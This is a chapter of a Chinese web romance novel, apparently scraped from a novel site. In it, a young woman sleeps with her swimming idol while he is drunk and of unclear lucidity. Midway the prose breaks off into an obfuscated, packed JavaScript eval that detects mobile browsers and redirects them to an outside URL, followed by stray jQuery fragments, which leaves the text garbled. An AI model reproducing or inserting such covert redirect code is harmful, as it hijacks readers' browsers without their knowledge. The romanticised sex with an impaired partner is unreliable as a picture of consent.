30. 第三十章·完全地拥有他

作品:《拉下泳坛高岭之花[游泳]

    “!”


    应青瓷浑身一僵。


    她徒劳地瞪大眼睛,感受着柔软触感在自己口腔内执着地吸裹。


    将她的理智一点点焚烧殆尽。


    大脑嗡嗡作响,一片混乱。


    她……


    她不是在做梦吧?


    她现在……


    正在和她仰望了那么久的男神。


    江屿阔。


    ……舌、舌吻?


    可他现在是不清醒的。


    意乱情迷的泡沫突然破裂。


    应青瓷在心里狠狠地提醒自己。


    不是因为爱。


    从前,但凡他曾对她有过一丝超越友情的心动。


    她那些反复的试探,那些鼓足勇气的靠近,又怎会显得如此可笑,像一场自作多情的独角戏。


    被他明确拒绝时,心里那淅淅沥沥的酸涩和难过,难道还想再尝一遍吗。


    他察觉到了她的走神,摸到她的后颈用力,迫使她抬高了下颌,让两人的唇瓣贴合得更加紧密。


    连一丝喘息的空间都不留给她。


    现在只不过是他一场混沌的冲动罢了。


    现在纵使换个人,他也是可以的。


    那为什么不能是她?


    一个破罐破摔的念头,如同黑暗中窜起的火苗,猛地鼓舞了她。


    做吧。


    就做这一次,又能怎样?


    反正自己在他面前,早就丢了无数次人了。


    从最初笨拙的接近,到后来不合时宜的关心。


    也不在乎再多这一次。


    或许……


    他未必不喜欢自己吧。


    只是他肩上扛着太多东西,他给自己套上了太多沉重的枷锁。


    不敢也不能放任自己的情感。


    所以才总是那样克制,那样疏离。


    那就……


    做一次。


    就当是替那个被重重枷锁困住的江屿阔,放肆这一次。


    这个念头一旦升起,就消灭了她所有的理智。


    她内心深处,一直以来那份被自己强行压抑的情感,汹涌而出。


    是啊,就算她接受了孟照邻的约会,穿着漂亮的裙子,精心打扮,可如果孟照邻想要亲吻她……


    她百分之百,会下意识地躲开。


    可如果是江屿阔呢。


    如果是他,像现在这样,哪怕是在意识不清的状态下靠近她。


    她不仅不会躲,甚至……


    还会像现在内心叫嚣着的那样,想要回吻回去。


    她的身体,她的灵魂,全都欢迎他的到来。


    无法欺骗自己。


    她心中豁然开朗,一直紧绷的身体放松了下来。


    他给了她一个短暂喘息的机会。


    微微抬起头,他低垂着那双迷离的眸子凝视着她。


    她也微微喘息着,抬起眼睫,不再闪躲,直直地迎上他的目光,湿漉漉的坦然。


    他的眉眼那样好看。


    视线落在那两片唇上。


    沾染过彼此的湿意,他的唇愈发饱满红润,像两片诱人多汁的水蜜桃,向她发出无声的邀请。


    她根本控制不住自己不去品尝它。


    这样想了,她便也这样做了。


    双手揽上他的脖颈。


    她仰起头,主动地将自己的唇,再次印上了他的。


    唇瓣相贴的瞬间,心里某个一直空落落的角落,仿佛被填满,涌上又酸又甜的满足感。


    发麻到指尖脚尖和心尖。


    这才是真的喜欢吧。


    不用去权衡利弊,不用去思考对错。


    只是纯粹原始的冲动。


    一种我必须亲到他的,无法抗拒的本能。


    想和他做最亲密的事。


    他在她主动吻上来的第一秒,就像是被点燃的干柴,狠狠地回吻了过去。


    仿佛要将她拆吃入腹,彻底融进自己的决绝。


    与她清甜的呼吸彻底交融,不分彼此。


    手机铃声再次响起。


    势必要将彼此吞噬的热吻中的两人,皆是一怔。


    江屿阔短暂地拽回了一丝清明。


    啵。


    松开了被他吮吸得微微红肿她的唇瓣,费力地翻到另一边,平躺下来,腹部剧烈地起伏着,大口喘息,平复失控的冲动。


    应青瓷撑着手臂坐起身,摸索过手机,依旧是孟照邻的电话。


    “喂,照邻,我……”她吞了下口水,“对不起,我今天可能不能去赴约了。”


    电话里传来孟照邻依旧温和但难掩失望的声音:“……没事,那你先忙,我们改天再约。”


    “好,对不起。”


    她匆匆说完,挂断了电话。


    房间重新陷入一片黑暗。


    两人都没有再说话,只剩下彼此还未平复的的喘息声。


    江屿阔没有再靠过来,他静静地躺在那里。


    应青瓷看着黑暗中他模糊的轮廓,一个大胆的念头,在心里疯狂滋生。


    她不想留下遗憾。


    她想要把自己的第一次,交给这个她最爱的人。


    哪怕明天之后,他们依旧要退回到那条界限分明的朋友线之后,哪怕最终无法和他在一起。


    至少这最最亲密的体验,她希望是和他一起完成的,是她主动选择的。


    能留下一个或许酸涩,却绝不后悔的回忆。


    但是……


    她不能冒险。


    万一,只是万一,学长明天清醒后,后悔今晚的一切,甚至责怪她居心叵测……


    她翻身下床拉开抽屉,翻出一本便利贴和笔。


    蹲在床边,就着客厅漏进来的光线,迅速地写下了一行字。


    翻出支口红拧开。


    拿起江屿阔的大拇指,涂抹在他的指腹上。


    应青瓷抬起头,看向他的脸。


    他闭着眼睛。


    她眨了眨眼,心里突然冒出一个疑问。


    这人……


    到底是醉着的,还是清醒的?


    但管他呢!


    她在心里对自己说。


    箭在弦上,不得不发。


    今天这趁火打劫,她打定了!


    她深吸一口气,褪掉身上的薄衫,只留下那件他说好看的白色吊带连衣裙。


    爬了上去。


    江屿阔重新睁开了眼睛。


    他没有动,只是看着她。


    她的心跳慌得不行,却强迫自己迎上他的目光。


    他伸出指尖,顺着她的手背,缓缓沿着手臂向上滑去。


    所过之处,仿佛带着细小的电流,麻麻酥酥的,让应青瓷觉得自己的心尖都跟着一阵阵发麻发软。


    指尖来到了她左侧肩头,那根系成蝴蝶结的细长吊带上。


    手指动了。


    他轻轻一扯。


    她颤栗着,看他眼底的火苗渐渐蹿高,燎原。


    再也无法忍耐。


    他坐了起来,攥住后领,将上衣越过头顶。


    上一秒她看到他的半袖被甩到了地上,下一秒视线就天旋地转。


    他像要将她整个人都吞吃入腹,彻底占有。


    千钧一发之际。


    应青瓷扭开,避开了他的进攻。


    他眉心一蹙,对她的躲避极


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107044|195004||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为不悦。


    “江屿阔,”她趴在他耳边,气息不稳,“如果你真的愿意,就在上面按个手印。”


    江屿阔抬起头,那双情动通红的眼睛盯着她。


    将至未至之欲,忍到额角的青筋都爆鼓起来。


    他的指腹碾上她的唇,上面的唇彩早已被他吻得斑驳。


    指腹用力地抿了几下,摁在她写好的江屿阔名字上。


    继续。


    她终于……


    完全地拥有他了。


    不是那个泳池里高高在上被无数人仰望的东大男菩萨。


    不是那个待人礼貌却总隔着距离的江学长。


    甚至不是那个会脆弱会疲惫的江屿阔。


    她拥有的,是装载着所有面的江屿阔。


    是她放在心里喜欢了那么久的最温热最真实的江屿阔。


    她与他,在最原始的本能中,毫无保留地在一起。


    这种拥有的认知,带来了取悦她的心灵满足。


    让她觉得,即使承受着不适,也是甘之如饴的。


    痛,也没有后退。


    感受到她的轻哼,原本在她战栗顶端的唇舌暂时离开了。


    他闭眼循着吻上她的唇,描摹出她因为强忍疼痛而死死咬住下唇的动作。


    忽而一顿。


    他缓缓睁开了眼睛。


    他低下头,温热的唇一下下吻去她眼角的泪痕。


    “疼的哭?”他开口。


    应青瓷抬起朦胧泪眼,看着他近在咫尺的脸,心里软得一塌糊涂。


    她摇了摇头,脸上还挂着泪珠,却绽放出一个傻乎乎的笑容。


    “开心的。”


    她伸出双臂,搂住了他的脖颈。


    看到她这又哭又笑的模样,江屿阔怔了一下,紧绷的下颌柔和了下来。


    手机铃声再次响起。


    江屿阔抬起埋在她脖颈的头,濡湿的黑发扫过她的脸颊,他瞥了一眼屏幕上闪烁的名字。


    孟照邻。


    “公放。”他情动未歇的命令。


    应青瓷心里一慌,伸手想去按掉来电。


    江屿阔先她一步滑动接听,按下了免提。


    “青瓷,”电话那头立刻传来孟照邻担忧的声音,“你是不是……发生什么事了?”


    应青瓷张了张嘴,刚想编个理由搪塞过去。


    “没……”


    忽有呼吸喷在她耳际。


    她咬紧了唇瓣。


    “告诉他。”


    “你爱的是谁。”


    “照邻……对、对不起……”


    “我爱的人……一直都是……江屿阔。”


    电话那头,陷入了长久的沉默。


    江屿阔似乎满意了,按下了挂断键。


    十指再次相扣。


    不知过了多久。


    她将脸颊埋在他的臂弯里。


    闷闷的声音委屈响起。


    “学长。”


    “其实你一点都不善良。”


    “是你自己把我想象的太好。”


    江屿阔的声音很轻。


    “嗯?”


    应青瓷以为他睡着了,慌忙抬头。


    他却依旧闭着眼,仿佛只是一句无意识的梦呓。


    她屏住呼吸,小心翼翼地端详他的表情。


    可他呼吸均匀绵长,分不清是醉是醒。


    应青瓷扯着塌落的小白裙缓缓坐起身,低头将左边肩上的细带系好。


    刚转向右边去系,左边的肩带却再次松开。


    低头望去,那系带尽头正缠在一只修长的食指上。


    她一愣,顺着那只手望向它的主人。